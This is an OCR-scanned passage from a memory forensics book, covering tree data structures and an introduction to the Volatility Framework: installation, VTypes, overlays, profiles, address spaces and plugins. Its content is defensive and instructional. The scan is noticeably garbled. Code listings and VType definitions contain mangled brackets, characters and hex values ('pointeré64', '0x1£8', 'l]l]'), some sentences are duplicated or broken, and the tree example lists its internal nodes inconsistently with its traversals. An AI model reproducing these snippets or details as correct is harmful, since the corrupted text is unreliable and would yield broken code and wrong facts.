organization of data in memory. This added organization can be leveraged to dramati-
cally increase the efficiency of operations performed on the stored data. As shown in later
chapters, trees are used in operating systems when performance is critical. This section
introduces basic terminology and concepts associated with hierarchical (rooted) trees,
the class of trees most frequently encountered when analyzing memory.
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Hierarchical Trees

Hierarchical trees are typically discussed in terms of family or genealogical trees. A hier-
archical tree is composed of a set of nodes used to store elements and a set of links used
to connect the nodes. Each node also has a key used for ordering the nodes. In the case
of a hierarchical tree, one node is demarcated as the root, and the links between nodes
represent the hierarchical structure through parent-child relationships. Links are used to
connect a node (parent) to its children. As an example, a binary tree is a hierarchical tree
in which each node is limited to no more than two children. A node that does not have
any children (proper descendants) is referred to as a leaf. The only non-leaf (internal node)
without a parent is the root. Any node in the tree and all its descendants form a subtree.
A sequence of links that are combined to connect two nodes of the tree is referred to as
a path between those nodes. A fundamental property of a hierarchical tree is that it does
not possess any cycles. As a result, a unique path exists between any two nodes found in
the tree. Figure 2-9 shows a simplified representation of a tree.

Figure 2-9: A tree containing six nodes

Figure 2-9 is an example of a binary tree containing six nodes that are used to store
integers. In the case of binary trees, the links associated with each node are referred to as
the left and right link, respectively. For the sake of simplicity, the key corresponds with
the integer being stored, and each node is referenced using the key. The root of the tree
is node 4; nodes 2 and 4 are internal nodes; and the leaf nodes are 1, 3, and 5. Combining
the sequence of links between nodes 4, 2, and 3 is used to form the unique path from node
4 to node 3. Node 2 and its descendants, nodes 1 and 3, would be considered a subtree
rooted at 2.

Tree Traversal

One of the most important operations to be performed on a tree, especially during memory
analysis, is tree traversal, which is the process of visiting the nodes of a tree to extract a
systematic ordering. Unlike the linked list abstract data type in which you traverse nodes
by following the link to its neighbor, each node of a tree can potentially maintain links to
multiple children. Thus an ordering is used to determine how the edges to the children
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should be processed. The different techniques are classified based on the order in which
the nodes are visited. The three most frequently encountered orderings are preorder, inorder,
and postorder. Each of the following descriptions is performed recursively at each node
encountered. Using preorder traversal, you first visit the current node and then visit the
subtrees from left to right. Inorder traversal involves visiting the left subtree, then the
current node, and finally the remaining subtrees from left to right. During postorder
traversal, you visit each subtree from left to right and then visit the current node. The
following shows the preorder, inorder, and postorder orderings of the nodes.

Preorder: 4, 2, 1, 3, 6, 5
Inorder: 1, 2, 3, 4, 5, 6
Postorder: 1, 3, 2, 5, 6, 4

C-programming implementations of trees have many of the same characteristics as
linked lists. The major differences are the number and types of links maintained between
nodes and how those links are ordered. As in the linked list implementations, we will
focus on trees in which the memory for the nodes of the tree is dynamically allocated
and deallocated as needed. We will also primarily focus on explicit implementations
that use internal storage to embed the links within the stored elements. These links are
implemented as direct edges in which each node maintains pointers to the virtual memory
addresses of related nodes.

Analyzing Trees in Memory

Analyzing trees in memory also shares similar challenges faced during the analysis of
linked lists. For example, physical memory analysis offers the potential to find instances
of stored or previously stored elements scattered throughout memory, but does not have
the context to discern relationships between those elements. On the other hand, you can
leverage virtual memory analysis to traverse the tree to extract node relationships and
stored elements. In the case of an ordered tree, if you know the traversal order or can
discern it from the field names, you can extract the ordered list of elements. By combin-
ing the overall structure of the tree with the ordering criteria, you may even be able to
discern information about how the elements were inserted or removed from the tree as
it evolved over time.

This book highlights many different variants of trees and how they are used within
operating systems. For example, the Windows memory manager uses a virtual address
descriptor (VAD) tree to provide efficient lookups of the memory ranges used by a process.
The VAD tree is an example of a self-balancing binary tree that uses the memory address
range as the key. Intuitively, this means that nodes containing lower memory address
ranges are found in a node’s left subtree, and nodes containing higher ranges are found
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in the right subtree. As you will see in Chapter 7, using these pointers and an inorder
traversal method, you can extract an ordered list of the memory ranges that describes the
status of the process’s virtual address space.

Summary

Data structures play a critical role in memory analysis. At the most fundamental level,
they help us make sense of the otherwise arbitrary bytes in a physical memory dump.
By understanding relationships among the data (i.e., nodes within a tree, elements of
a list, characters of a string), you can begin to build a more accurate and complete rep-
resentation of the evidence. Furthermore, knowledge of an operating system’s specific
implementation of an abstract data structure is paramount to learning why certain attacks
(that manipulate the structure(s)) are successful and how memory analysis tools can help
you detect such attacks.






he Volatility Framework is a completely open collection of tools, implemented in

Python under the GNU General Public License 2. Analysts use Volatility for the
extraction of digital artifacts from volatile memory (RAM) samples. Because Volatility
is open source and free to use, you can download the framework and begin performing
advanced analysis without paying a penny. Furthermore, when it comes down to under-
standing how your tool works beneath the hood, nothing stands between you and the
source code—you can explore and learn to your fullest potential.

This chapter covers the basic information you need to install Volatility, configure your
environment, and work with the analysis plugins. It also introduces you to the benefits of
using Volatility and describes some of the internal components that make the tool a true
framework. Also, keep in mind that software evolves over time. Thus, the framework’s
capabilities, plugins, installation considerations, and other factors may change in the future.

Why Volatility?

Before you start using Volatility, you should understand some of its unique features. As
previously mentioned, Volatility is not the only memory forensics application—it was
specifically designed to be different. Here are some of the reasons why it quickly became
our tool of choice:

A single, cohesive framework. Volatility analyzes memory from 32- and 64-bit
Windows, Linux, Mac systems (and 32-bit Android). Volatility’s modular design
allows it to easily support new operating systems and architectures as they are
released.

It is Open Source GPLv2. This means you can read the source code, learn from it,
and extend it. By learning how Volatility works, you will become a more effective
analyst.
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It is written in Python. Python is an established forensic and reverse engineering
language with loads of libraries that can easily integrate into Volatility.

Runs on Windows, Linux, or Mac analysis systems. Volatility runs anywhere
Python can be installed—a refreshing break from other memory analysis tools
that run only on Windows.

Extensible and scriptable application programming interface (API). Volatility
gives you the power to go beyond and continue innovating. For example, you
can use Volatility to drive your malware sandbox, perform virtual machine (VM)
introspection, or just explore kernel memory in an automated fashion.
Unparalleled feature sets. Capabilities have been built into the framework based
on reverse engineering and specialized research. Volatility provides functionality
that even Microsoft’s own kernel debugger doesn’t support.

Comprehensive coverage of file formats. Volatility can analyze raw dumps, crash
dumps, hibernation files, and various other formats (see Chapter 4). You can even
convert back and forth between these formats.

Fast and efficient algorithms. This lets you analyze RAM dumps from large sys-
tems in a fraction of the time it takes other tools, and without unnecessary memory
consumption.

Serious and powerful community. Volatility brings together contributors from
commercial companies, law enforcement, and academic institutions around the
world. Volatility is also being built on by a number of large organizations, such as
Google, National DoD Laboratories, DC3, and many antivirus and security shops.
Focused on forensics, incident response, and malware. Although Volatility and
Windbg share some functionality, they were designed with different primary pur-
poses in mind. Several aspects are often very important to forensics analysts but not
as important to a person debugging a kernel driver (such as unallocated storage,
indirect artifacts, and so on).

What Volatility Is Not

Volatility is a lot of things, but there are a few categories in which it does not fit. These
categories are:

It is not a memory acquisition tool: Volatility does not acquire memory from
target systems. You acquire memory with one of the tools mentioned in Chapter
4 and then analyze it with Volatility. An exception is when you connect to a live
machine over Firewire and use Volatility’s imagecopy plugin to dump the RAM to
a file. In this case, you are essentially acquiring memory.



The Volatility Framework

It is not a GUI: Volatility is a command line tool and a Python library that you
can import from your own applications, but it does not include a front-end. In the
past, various members of the forensics community developed GUIs for Volatility,
but these are currently unsupported by the official development team.

It is not bug-free: Memory forensics can be fragile and sensitive in nature.
Supporting RAM dumps from multiple versions of most major operating sys-
tems (that are usually running obscure third-party software) comes with a cost:
It can lead to complex conditions and difficult-to-reproduce problems. Although
the development team makes every effort to be bug free, sometimes it’s just not
possible.

Installation

With every major release, Volatility is distributed in several formats, including a stand-
alone Windows executable, a Windows Python module installer, and source code packages
in both zip and gzip/tarball archives. Users typically choose which format to download
based on the host operating system (in which they intend to run Volatility) and the types
of activities they intend to perform with the framework, such as simply using it to analyze
memory dumps or for development and integration with external tools. You can find a
description of the formats in the following sections.

Standalone Windows Executable

Using the executable is the quickest and easiest way to start using Volatility on a Windows
analysis machine. The executable includes a Python 2.7 interpreter and all Volatility’s
dependencies. No installation is required; just launch the executable from a command
prompt, as shown in the following example:

C:\>volatility-2.4.exe --help

Volatility Foundation Volatility Framework 2.4
Usage: Volatility - A memory forensics analysis platform.

Options:
-h, --help list all available options and their default values.
Default values may be set in the configuration file
(/etc/volatilityrc)
[snip]
NOTE

Remember that Volatility is not a GUI, so don’t try to double-click the executable from
Windows Explorer.
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You can run the executable directly from removable media such as a USB drive, which
turns Volatility into a portable utility that you can take with you on remote investigations
(where you may not be allowed to bring your own laptop). In the past, many people have
also written scripts to automate the collection of data from the standalone executable by
redirecting its output to text files.

Windows Python Module Installer

Choose this package if your preferred analysis system is Windows and you plan to exam-
ine or modify the Volatility source code—whether it’s for debugging, for educational
purposes, or to build tools on top of the framework. In this case, you must also install a
Python 2.7 interpreter and the dependencies (a complete listing is provided later in the
chapter).

By default, the source files are copied to c:\pythonxx\Lib\site-packages\volatility
(where xx is your Python version), and the main vol.py script is copied to c: \Pythonxx\
scripts. Thus, you can use the framework in the following manner:

C:\>python C:\Python27\Scripts\vol.py --help

Volatility Foundation Volatility Framework 2.4

Usage: Volatility - A memory forensics analysis platform.

Options:

-h, --help list all available options and their default values.
Default values may be set in the configuration file

(/etc/volatilityrc)
[snip]

Source Code Packages

This is the most versatile format—you can use it on Windows, Linux, or Mac, provided
you already have a working Python 2.7 interpreter and the required dependencies. It is
important to note, however, that you have two options for installing the code in these
packages once you extract them. Each method has its advantages:

Method 1 (using setup.py): Extract the archive and run python setup.py install.
You may need administrator privileges to complete the installation. This takes care
of copying files to the right locations on your disk so that the Volatility namespace
is accessible to other Python scripts. If you do not plan on importing Volatility as a
library for development projects, consider using method 2 instead. The downside
of method 1 is that it is difficult to upgrade or uninstall.
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Method 2: (not using setup.py): Extract the archive to a directory of your choice.
When you want to use Volatility, just run python /PATH/TO/vol.py. This method
is often seen as cleaner because no files are ever moved outside of your chosen
directory, so it also does not require admin privileges. If you use this method, you
can easily have multiple versions of Volatility available at the same time by just
keeping them in separate directories. To uninstall, just delete the directory.

Development Branch (Code Repository)

Volatility is currently hosted on Github. This is where you can find the most recent bleed-
ing-edge code, including any patches to fix bugs that were identified after a release and
also any major new features that are being tested before they reach the mainstream. Thus,
this code is for people who are less interested in a stable release and more interested in
what’s coming next.

By default, the source control utilities are built into recent Mac operating systems and
they are available through the package managers of most Linux distributions. For example,
you can type apt-get install git on Debian/Ubuntu or yum install git-core on Centos/

ed Hat. For Windows, you can download mysysGit (http://msysgit.github.io) Or use
Red Hat. For Wind y download mysysGit (n // hub
the GitHub application (https://windows.github.com). Once you have the tools installed,
you can check out the Volatility source code. Here’s an example of cloning the repository
on Linux or Mac:

$ git clone https://github.com/volatilityfoundation/volatility.git

Cloning into 'volatility'...

remote: Counting objects: 10202, done.

remote: Compressing objects: 100% (2402/2402), done.

remote: Total 10202 (delta 7756), reused 10182 (delta 7736)

Receiving objects: 100% (10202/10202), 12.11 MiB \ 343.00 KiB/s, done.

Resolving deltas: 100% (7756/7756), done.
Checking connectivity... done.

$ python volatility/vol.py --help
Volatility Foundation Volatility Framework 2.4
Usage: Volatility - A memory forensics analysis platform.

Options:

-h, --help list all available options and their default values.
Default values may be set in the configuration file
(/etc/volatilityrc)

[snip]

After developers commit patches or changes to the source code, you can sync by simply
typing git pull, as opposed to waiting for a new release. In this case, you transfer only
files that were changed since your last update.
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NOTE

If a problem or particular behavior persists after an update, it may be due to “stale”
.pyc (compiled python files). To clean up the .pyc files, change into the Volatility root
directory and, if you're on Linux or Mac, type the following:

$ make clean

If you're on Windows, enter a PowerShell prompt and type the following:

PS C:\volatility> Get-ChildItem -path . -Include '*.pyc' -Recurse | Remove-Item

Dependencies

As previously mentioned, if you're working with the standalone Windows executable,
you do not need to worry about dependencies. In all other cases, you may need to install
extra packages depending on the Volatility plugins that you intend to run. A majority of
core functionality will work without any additional dependencies (aside from the stan-
dard Python interpreter). The listing that follows identifies the third-party modules that
Volatility can leverage and the specific plugins that utilize them.

Distorm3: A powerful disassembler library for x86/AMD64 (http: //code.google
.com/p/distorm). VOlatﬂity plugins apihooks, callbacks, impscan, volshell,
linux_volshell, mac_volshell, and linux_ check syscall depend on this library.
Yara: A malware identification and classification tool (http://code.google.com/p/
yara-project). Volatility plugins yarascan, mac_yarascan, and linux_yarascan
depend on this library.

PyCl‘yptO: The Python Cryptography Toolkit (https ://www.dlitz.net/software/
pycrypto). Volatility plugins 1sadump and hashdump depend on this library.

PIL: The Python Imaging Library (http: //www.pythonware. com/products/pil). The
screenshot plugin depends on this library.

OpenPyxl: A Python library to read and write Excel files (https://bitbucket .org/
ericgazoni/openpyxl/wiki /Home). The timeliner plugin, when used in the xlsx
output mode, depends on this plugin.

For details on how to install the dependencies, you should read the documentation
provided by the project maintainers. In most cases, you will just be running python
setup.py install or using a package manager. If the dependencies ever change, you
can always find a current list on the Volatility wiki.
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The Framework

The Volatility Framework consists of several subsystems that work together to provide
a robust set of features. Over the next few pages, we will introduce the key components
in a concise but thorough manner. Although some of the components are geared toward
developers rather than users of the framework, the terms and concepts that you learn
here will be extremely valuable to understanding how memory forensics tools operate,
and they will be mentioned throughout the rest of the book.

VTypes

This is Volatility’s structure definition and parsing language. If you recall from Chapter 2,
most operating systems and applications that run on those operating systems are written
in C, with abundant use of data structures to organize related variables and attributes.
Because Volatility is written in Python, you need a way to represent C data structures
in Python source files. VTypes enable you to do exactly that. You can define structures
whose member names, offsets, and types all match the ones used by the operating system
you're analyzing, so that when you find an instance of the structure in a memory dump,
Volatility knows how to treat the underlying data (i.e., as an integer, string, or pointer).
For the upcoming example, assume that you are dealing with C data structure like this:
struct process {
int pid;
int parent pid;
char name[10] ;
char * command line;
void * ptv;
}i
The structure has five members: two integers, a character array, a pointer to a string,
and a void pointer (more about this in the upcoming “Overlays” section). The equivalent
structure in the VIype language is as follows:

'process' : [ 26, {
'pid' : [ 0, ['int']],
'parent_pid' : [ 4, ['int']],
'name' : [ 8, ['array', 10, ['char'l]l],
'command_line' : [ 18, ['pointer', ['char']]],
'ptv' : [ 22, ['pointer', ['void'll],

1

At first glance, the syntax may appear slightly complex, but it is just a series of Python
dictionaries and lists. The name of the structure, process, is the first dictionary key, and
itis followed by the total size of the structure, 26. You then have each member, along with
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their corresponding offsets from the base of the structure and their types. For example,
name is at offset 8 and it is an array of 10 characters. As you get familiar with the syntax
and begin modeling more elaborate structures, you will notice the VIype language sup-
ports just as many data types as C provides. For example, you can define pointers, bit
fields, enumerations, and unions, to name a few.

The following example shows an _EpRrocESS structure from a Windows 7 x64 system. The
total size in bytes of the structure is ox4do, and it begins with a member named pcb, which
is actually another structure of type _kprocess. Notice that there are three different mem-
bersatcﬁfset0x1f8:ExceptionPortData,ExceptionPortValue,and.ExceptionPortState.
This is an example of how a union appears in the VIype language. As you may know,
the size of a union is dictated by the largest element that it contains, which is 8 bytes in
this case (an unsigned long long). Although ExceptionPortState is within this union,
it is defined as a BitField that consists of the least significant three bits (starts at 0 and
ends at 3) of the 8-byte value.

' EPROCESS' : [ 0x4d0, {
'Pcb' : [ 0x0, ['_KPROCESS']],
'ProcessLock' : [ 0x160, ['_EX PUSH_LOCK']],
'CreateTime' : [ 0x168, [' LARGE INTEGER']],
'ExitTime' : [ 0x170, ['_LARGE_INTEGER']],
'RundownProtect' : [ 0x178, [' EX RUNDOWN REF']],
'UniqueProcessId' : [ 0x180, ['pointeré64', ['void']l]l],
'ActiveProcessLinks' : [ 0x188, [' LIST ENTRY']],
'ProcessQuotaUsage' : [ 0x198, ['array',6 2, ['unsigned long long']]l],
'ProcessQuotaPeak' : [ 0xla8, ['array', 2, ['unsigned long long'll],
'CommitCharge' : [ 0x1b8, ['unsigned long long'll]l,
'QuotaBlock' : [ 0x1cO, ['pointer64', [' EPROCESS QUOTA BLOCK']]],
'CpuQuotaBlock' : [ 0xlc8, ['pointeré64', [' PS CPU QUOTA BLOCK']]],
'PeakVirtualSize' : [ 0x1d0, ['unsigned long long'l],
'VirtualSize' : [ 0x1d8, ['unsigned long long'll],
'SessionProcessLinks' : [ 0Oxle0O, [' LIST ENTRY']],
'DebugPort' : [ 0x1f0, ['pointer64',6 ['void']]ll],
'ExceptionPortData' : [ 0x1f8, ['pointer64', ['void'll],
'ExceptionPortValue' : [ 0x1£8, ['unsigned long long'll],
'ExceptionPortState' : [ 0x1£f8, ['BitField', dict(start bit = 0, end bit = 3,

native_ type='unsigned long long')ll],

'ObjectTable' : [ 0x200, ['pointer64', [' HANDLE TABLE']]l],

[snip]

Generating VTypes

Despite the fact that working with VType syntax can be a fairly simple task once you prac-
tice, the sheer number of structures that an operating system or application uses makes it
highly impractical to generate them all by hand. Furthermore, the structures can change
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drastically with each new version of an operating system, or even with just a new service
pack or security update. To deal with these complexities, Brendan Dolan-Gavitt (http: //www
.cc.gatech.edu/grads /b/brendan/) designed a method of automatically generating
VTypes from Microsoft’s debugging symbols (PDB files). In particular, he wrote a library
named pdbparse (https://code.google.com/p/pdbparse) that can convert the proprietary,
binary PDB file format into the open VIype language that Volatility can understand.
Generally, you can find the core data structures that Volatility needs to support a Microsoft
Windows release in the debugging symbols of the NT kernel module (ntoskrnl.exe,
ntkrnlpa.exe, and so on). However, it is important to note that Microsoft does not divulge
all the structures that its operating system needs—only the ones that could reasonably be
seen to assist with debugging efforts. This excludes thousands of the structures involved
in password management, security mechanisms, and other features of the system that are
better left undocumented for fear that attackers would use the information in nefarious
ways (i.e., to design exploits). In these cases, the generation of VTypes falls back into the
manual realm: Developers or researchers must reverse engineer components of the oper-
ating system and create their own structure definitions that can be used with Volatility.

Overlays

Overlays enable you to fix up, or patch, the automatically generated structure definitions.
This is an important aspect of memory forensics because operating system code often
makes heavy use of void pointers (void *) in their structures. A void pointer is a pointer
to data whose type is unknown or arbitrary at the time of the allocation. Unfortunately,
debugging symbols don’t contain enough information to derive the types automatically,
and you may need to follow, or dereference, these pointers during an analysis. Assuming
that you determined the type for a given structure member (usually through reverse
engineering or trial and error), you can apply an overlay, which will override the auto-
mated VType definition.

In the previous section, you had a structure named process with a void * ptv mem-
ber. If you know that ptv is actually a pointer to another process structure, you could
construct an overlay that looks like this:

'process' : [ None, {

'ptv' : [ None, ['pointer',6 ['process']ll],

}

Notice the two values of None, which are in the positions normally used to store the
size of the structure and member offsets. The value of None indicates that no change is
to be made to those parts of the definition. The only thing that this overlay is changing
is the type of ptv from void * to process *. After applying such an overlay, when you
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access ptv in your Volatility plugins, the framework will know that you're referencing a
process structure.

Aside from providing the ability to make structure definitions more accurate, overlays
also come in handy for convenience and consistency purposes. For example, Windows
stores many of its timestamps in a structure called _LaArRGE_INTEGER. The structure con-
tains two 32-bit integers (a low part and high part), which are combined to form a 64-bit
timestamp value. The value of 1325230153, when translated, means 2011-12-30 07:29:13
UTC+0000. Many Volatility plugins need to report timestamps in this human-readable
format. Thus, it makes sense to globally change structures that use _LARGE_INTEGER to
store timestamp values into a special type that translates the value automatically.

Objects and Classes

A Volatility object (or just object for short) is an instance of a structure that exists at a specific
address within an address space (AS). You won't learn about ASs until later, so for now
just consider an AS as an interface into your memory dump file (similar to a file handle).
For example, you may create an object by instantiating an _EProCESS structure at address
0x80dc1a70 of your memory dump. Once you create the object, usually through a call to
Volatility’s obj .object () AP, you can access any of the underlying structure’s members
to print their values, perform calculations based on their values, and so on.

An object class enables you to extend the functionality of an object. In other words, you
can attach methods or properties to an object that then become accessible to all instances
of the object. This is a great way to share code between plugins and it also facilitates the
use of APIs within the framework. For example, if various plugins create _EPROCESS objects
and they all commonly need to determine whether the process is suspicious, based on
several factors, you can use an object class to add such logic. A simple example is shown
in the following code:

import volatility.obj as obj

class _EPROCESS (obj.CType) :
"""An object class for EPROCESS"""

def is_suspicious(self):
"m"nDetermine if a process is suspicious
based on several factors.

:returns <boolsx>

# check the process name
if self.ImageFileName == "fakeav.exe":
return True
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# check the process ID
if self.UniqueProcessId == 0x31337:
return True

# check the process path
if "temp" in str(self.Peb.ProcessParameters.ImagePathName) :
return True

return False

The displayed method checks a few different characteristics of the process—whether
its name is fakeav.exe, its PID is 0x31337, or its full path on disk contains the temp sub-
string. Although this is hardly a full audit of the process (you will learn more ways to
analyze processes throughout the book), it at least shows you the general idea of attach-
ing APISs to objects. Anywhere a process object is used in Volatility plugins, you can call
process.is_suspicious () to invoke the check

Profiles

A profile is a collection of the VTypes, overlays, and object classes for a specific operating
system version and hardware architecture (x86, x64, ARM). In addition to these compo-
nents, a profile also includes the following:

v

Metadata: Data such as the operating system’s name (i.e., “windows”, “mac”, or
“linux”), the kernel version, and build numbers

System call information: Indexes and names of system calls

Constant values: Global variables that can be found at hard-coded addresses in
some operating systems

Native types: Low-level types for native languages (usually C), including the sizes
for integers, longs, and so on

System map: Addresses of critical global variables and functions (Linux and
Mac only)

Each profile has a unique name, which is usually derived from the operating system’s
name, version, service pack, and architecture. For example, Win7SP1x64 is the name of
the profile for a 64-bit Windows 7 Service Pack 1 system. Likewise, Win2012SP0x64 corre-
sponds to 64-bit Windows Server 2012. The upcoming “Using Volatility” section tells you
how to generate a full list of the supported profile names for your Volatility installation.

In addition to Windows, Volatility supports memory dumps from Linux, Mac, and
Android. More information on how to build and integrate profiles for these systems can
be found in Part III, “Linux Memory Forensics,” and Part IV, “Mac Memory Forensics.”
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Address Spaces

An address space (AS) is an interface that provides flexible and consistent access to data
in RAM, handles virtual-to-physical-address translation when necessary, and transpar-
ently accounts for differences in memory dump file formats (for example, the proprietary
headers added to Microsoft crash dumps or the compression schemes used in hiberna-
tion files). Thus, an AS must have an intimate knowledge of memory layouts and storage
methods in order to reconstruct the same “view” of memory that applications on a run-
ning machine would encounter.

Virtual/Paged Address Spaces

These ASs provide support for reconstructing virtual memory. They use many of the
same algorithms that Intel and AMD processors use for address translation (see Chapter
1), so it’s possible to find data in an offline manner, independent from the target operat-
ing system from which the memory dump was acquired. An important aspect regarding
virtual ASs is that they deal only with memory that is both allocated and accessible (i.e.,
not swapped to disk). A virtual AS contains the subset of memory that programs on a
system can “see” at the time of the acquisition without producing a page fault to read
swapped data back into RAM.

The virtual/paged category can further be broken down into kernel and process ASs.
A kernel space provides a view of the memory that is allocated and accessible to device
drivers and modules running in kernel mode. Alternately, a process AS provides a view of
memory from the perspective of a specific process. As you learned in Chapter 1, because
processes have private ASs, each process has its own view of user mode memory. Mapping
back data found in a memory dump to the processes that were currently accessing it is a
common investigative technique.

NOTE

In Chapter 4, we mention that Volatility does not support page file analysis at this
time. However, in the near future, it will likely be implemented as an abstract AS that
reads from a physical memory dump and one or more page files to provide a complete
view of memory.

Physical Address Spaces

These ASs mainly deal with the various file formats that memory acquisition tools use
to store physical memory. The simplest format is just a raw memory dump (which has
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neither proprietary headers nor compression). However, this category also includes crash
dumps, hibernation files, and VM snapshots (such as VMware saved state and VirtualBox
core dumps) that may in fact store vendor-specific metadata along with the actual memory
from the target machine. In contrast with the virtual ASs, the physical ones often contain
memory ranges that the operating system has marked as freed or de-allocated, allowing
you to find residual (or historical) artifacts of behaviors that executed sometime in the past.

Address Space Stacking

The few different categories of ASs that you have learned about so far are most often used
together in support of each other. To help you visualize this interaction, take a look at
Figure 3-1. This diagram shows how ASs automatically stack over each other to support
the wide range of file types and hardware architectures that Volatility can work with.

Plugin 1. request to read a
9 virtual address
AMD64PagedMemory 2. translate to physical

memory address
WindowsCrashDumpSpace 3. translate to file offset,

decompress (if necessary)

FileAddressSpace 4. seek to and read from
file offset

Figure 3-1: Volatility uses a stacked AS

In this example, you are dealing with a crash dump from a 64-bit Windows system.
When a Volatility plugin requests to read a virtual address, the address is first passed to
the AMD64 AS, which performs the virtual-to-physical-address translation. The result
is an offset in physical memory in which the desired data can be found. If you have a
raw memory dump (with padding), this offset is the same as an offset into the memory
dump file. However, because a crash dump file contains various headers and may also
divide noncontiguous memory ranges into “runs,” an offset into physical memory is not
the same as an offset into a crash dump file. This is where the crash dump AS comes into
play. The crash dump AS knows how big its headers are and can parse the information
related to where the memory ranges are stored, which allows it to piece back together the
original view of physical memory. Thus, the crash dump AS can easily find the requested
offset in the underlying file.
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Plugin System

Plugins enable you to expand upon the existing Volatility Framework. For example, an
address space plugin can introduce support for operating systems that run on new CPU
chipsets. Analysis plugins are written to find and analyze specific components of the operat-
ing system, user applications, or even malicious code samples. Regardless of which type
of plugin you write, there are APIs and templates provided by the framework that make
it relatively easy to design and integrate your ideas.

To develop an analysis plugin, you create a Python class that inherits from commands
.command and overrides a few of the base methods. Specifically, the two main func-
tions you'll customize are calculate (Where the bulk of your plugin’s work goes) and
render_text (Where you format the results for text-based output). In short, the code
in calculate is responsible for finding and analyzing objects in memory. The results
of the calculation are passed to render_text for display on the terminal. The follow-
ing code shows the bare minimum analysis plugin, which just prints the names of
all processes on the system. The name of this plugin is derived from the name of the
ClaSS(ExamplePlugin)

import volatility.utils as utils

import volatility.commands as commands
import volatility.win32.tasks as tasks

class ExamplePlugin (commands.Command) :
""nThis is an example plugin"""

def calculate(self):
""" This method performs the work"""

addr space = utils.load as(self. config)
for proc in tasks.pslist (addr_ space) :
yield proc

def render text (self, outfd, data):
""" This method formats output to the terminal.

:param outfd | <file>
data | <generators

for proc in data:
outfd.write ("Process: {0}\n".format (proc.ImageFileName))

To execute the plugin, move the Python file containing this code into the volatility/
plugins directory (or any subdirectory therein) and it’s automatically picked up and
registered by the plugin system.
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NOTE

You can store your plugin files in an external folder or even in multiple external fold-
ers, for that matter. However, you will need to tell Volatility how to find them in that
case, which you can do by setting the --plugins option. Set this option’s value to one
or more directories separated by colons on UNIX (pIR1:DIR2:DIR3) Or semi-colons on
Windows (DIR1;DIR2;DIR3). Instead of directories, you can also pass paths to zip files
that contain plugins.

One caveat is that the - -plugins option must be specified immediately after vol.py
when you use it. For example the first command would work, but the second would not:

$ python vol.py --plugins=DIR pslist
$ python vol.py pslist --plugins=DIR

Core Plugins

The core Volatility Framework includes over 200 analysis plugins. For the sake of brev-
ity, we won't list them all here, but it is important that you skim over the names and
descriptions so you will know from a birds-eye view which capabilities you might want
to start exploring once you dive in. You can also list the available plugins in your version
of Volatility any time by using the vol.py --info command.

Using Volatility

Now that you know a bit about Volatility, you can begin to explore the command line
usage. In this section, you'll learn the basic structure of a command, how to display help,
and how to fine-tune your environment.

Basic Commands

The most basic Volatility command is constructed as follows. You execute the main Python
script (vol.py) and then pass it the path to your memory dump file, the name of the profile,
and the plugin to execute (and optionally plugin-specific parameters):

$ python vol.py -f <FILENAME> --profile=<PROFILE> <PLUGIN> [ARGS]

Here’s an example:

$ python vol.py -f /home/mike/memory.dmp --profile=Win7SP1x64 pslist
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If you use the standalone Windows executable, the syntax would look like this instead:

C:\>volatlity-2.4.exe -f C:\Users\Mike\memory.dmp --profile=Win7SP1x64 pslist

There are a few exceptions to the basic command shown, such as when you call
Volatility with -n/--help (to see global options), with --info (to see all available ASs,
plugins, and profiles), or if you don’t yet know what profile to use.

Displaying Help

Several command line options are global in scope (i.e., they apply to all plugins). If you
are new to Volatility or if you just want to become more familiar with what preferences
you can tweak, make sure to read this section carefully.

To display the main help menu, pass -h/--help on the command line. It shows the
global options (including default values, if applicable) and lists the plugins available to
the currently specified profile. If you do not specify a profile, you'll be working with the
default, WinXPSP2x86, so you'll see only plugins that are valid for that operating system
and architecture (for example, you won't see Linux plugins or Windows plugins that work
only on Vista). Here is an example:

$ python vol.py --help

Volatility Foundation Volatility Framework 2.4
Usage: Volatility - A memory forensics analysis platform.

Options:
-h, --help list all available options and their default values.
Default values may be set in the configuration file
(/etc/volatilityrc)
--conf-file=/Users/michaelligh/.volatilityrc
User based configuration file

-d, --debug Debug volatility
--plugins=PLUGINS Additional plugin directories to use (colon separated)
--info Print information about all registered objects

--cache-directory=/Users/michaelligh/.cache/volatility
Directory where cache files are stored

--cache Use caching
--tz=TZ Sets the timezone for displaying timestamps
-f FILENAME, --filename=FILENAME

Filename to use when opening an image
--profile=WinXPSP2x86

Name of the profile to load
-1 LOCATION, --location=LOCATION

A URN location from which to load an address space
-w, --write Enable write support
--dtb=DTB DTB Address
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--output=text Output in this format (format support is module
specific)

--output-£file=OUTPUT_FILE
write output in this file

-v, --verbose Verbose information

--shift=SHIFT Mac KASLR shift address

-g KDBG, --kdbg=KDBG Specify a specific KDBG virtual address

-k KPCR, --kpcr=KPCR Specify a specific KPCR address

Supported Plugin Commands:

apihooks Detect API hooks in process and kernel memory
atoms Print session and window station atom tables
atomscan Pool scanner for _RTL_ATOM_TABLE

[snip]

Volatility plugins can also register their own options, which you can view by supply-
ing both the plugin name and -h/- -help. The following command shows the options for
the handles plugin:

$ python vol.py handles --help

Volatility Foundation Volatility Framework 2.4
Usage: Volatility - A memory forensics analysis platform.

[snip]

-o OFFSET, --offset=0OFFSET
EPROCESS offset (in hex) in the physical address space
-p PID, --pid=PID Operate on these Process IDs (comma-separated)
-P, --physical-offset
Physical Offset
-t OBJECT_TYPE, --object-type=OBJECT TYPE
Show these object types (comma-separated)
-s, --silent Suppress less meaningful results

Print list of open handles for each process

Selecting a Profile

One of the options from the global help menu that you will use most frequently is
--profile. This option tells Volatility what type of system your memory dump came
from, so it knows which data structures, algorithms, and symbols to use. A default profile
of WinXPSP2x86 is set internally, so if you're analyzing a Windows XP SP2 x86 memory
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dump, you do not need to supply --profile at all. Otherwise, you must specify the proper
profile name.

In some cases, you won't know the profile ahead of time; for example, another inves-
tigator might acquire memory and not tell you the operating system version. Volatility
includes two plugins that can help you determine the proper profile if that happens. The
first is imageinfo, which provides a high-level summary of the memory sample you're
analyzing. An example of this command follows:

$ python vol.py -f memory.raw imageinfo

Volatility Foundation Volatility Framework 2.4
Determining profile based on KDBG search. ..

Suggested Profile(s) : Win7SP0x64, Win7SP1x64, Win2008R2SP0x64
AS Layerl : AMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/Users/Michael/Desktop/memory.raw)
PAE type : PAE
DTB : 0x187000L
KDBG : 0xf80002803070
Number of Processors : 1
Image Type (Service Pack) : 0
KPCR for CPU 0 : Oxfffff80002804d00L
KUSER_SHARED DATA : Oxfffff78000000000L
Image date and time : 2012-02-22 11:29:02 UTC+0000
Image local date and time : 2012-02-22 03:29:02 -0800

NOTE

The imageinfo plugin also shows you the date and time when the memory sample
